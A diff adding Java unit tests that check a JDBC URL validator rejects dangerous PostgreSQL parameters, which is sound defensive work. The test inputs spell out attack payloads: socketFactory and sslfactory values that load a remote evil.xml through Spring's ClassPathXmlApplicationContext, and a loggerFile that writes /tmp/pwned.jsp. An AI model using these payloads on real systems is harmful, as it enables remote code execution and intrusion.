@@ -246,6 +246,36 @@ public void testValidateJdbcConnectionStringMysqlMultipleEncodedString() {
246246 SQLManager .validateJdbcUrl (jdbcConnection );
247247 }
248248
249+ @ Test
250+ public void testValidateJdbcConnectionStringPostgresqlSocketFactory () {
251+ exception .expect (IllegalArgumentException .class );
252+ exception .expectMessage ("Potentially dangerous JDBC parameter found: socketFactory" );
253+
254+ String jdbcConnection = "jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:9090/evil.xml" ;
255+
256+ SQLManager .validateJdbcUrl (jdbcConnection );
257+ }
258+
259+ @ Test
260+ public void testValidateJdbcConnectionStringPostgresqlSslFactory () {
261+ exception .expect (IllegalArgumentException .class );
262+ exception .expectMessage ("Potentially dangerous JDBC parameter found: sslfactory" );
263+
264+ String jdbcConnection = "jdbc:postgresql://127.0.0.1:5432/test?sslfactory=org.springframework.context.support.ClassPathXmlApplicationContext&sslfactoryarg=http://127.0.0.1:9090/evil.xml" ;
265+
266+ SQLManager .validateJdbcUrl (jdbcConnection );
267+ }
268+
269+ @ Test
270+ public void testValidateJdbcConnectionStringPostgresqlLoggerLevel () {
271+ exception .expect (IllegalArgumentException .class );
272+ exception .expectMessage ("Potentially dangerous JDBC parameter found: loggerLevel" );
273+
274+ String jdbcConnection = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel=DEBUG&loggerFile=/tmp/pwned.jsp" ;
275+
276+ SQLManager .validateJdbcUrl (jdbcConnection );
277+ }
278+
249279 /**
250280 * Test fail if any exception is thrown therefore no assert
251281 */
@@ -254,4 +284,13 @@ public void testValidateJdbcConnectionStringMysqlPass() {
254284 String jdbcConnection = "jdbc:mysql://127.0.0.1:3306/mydb?allowedParameter=true" ;
255285 SQLManager .validateJdbcUrl (jdbcConnection );
256286 }
287+
288+ /**
289+ * Test fail if any exception is thrown therefore no assert
290+ */
291+ @ Test
292+ public void testValidateJdbcConnectionStringPostgresqlPass () {
293+ String jdbcConnection = "jdbc:postgresql://127.0.0.1:5432/mydb?ssl=true&sslmode=require" ;
294+ SQLManager .validateJdbcUrl (jdbcConnection );
295+ }
257296}
0 commit comments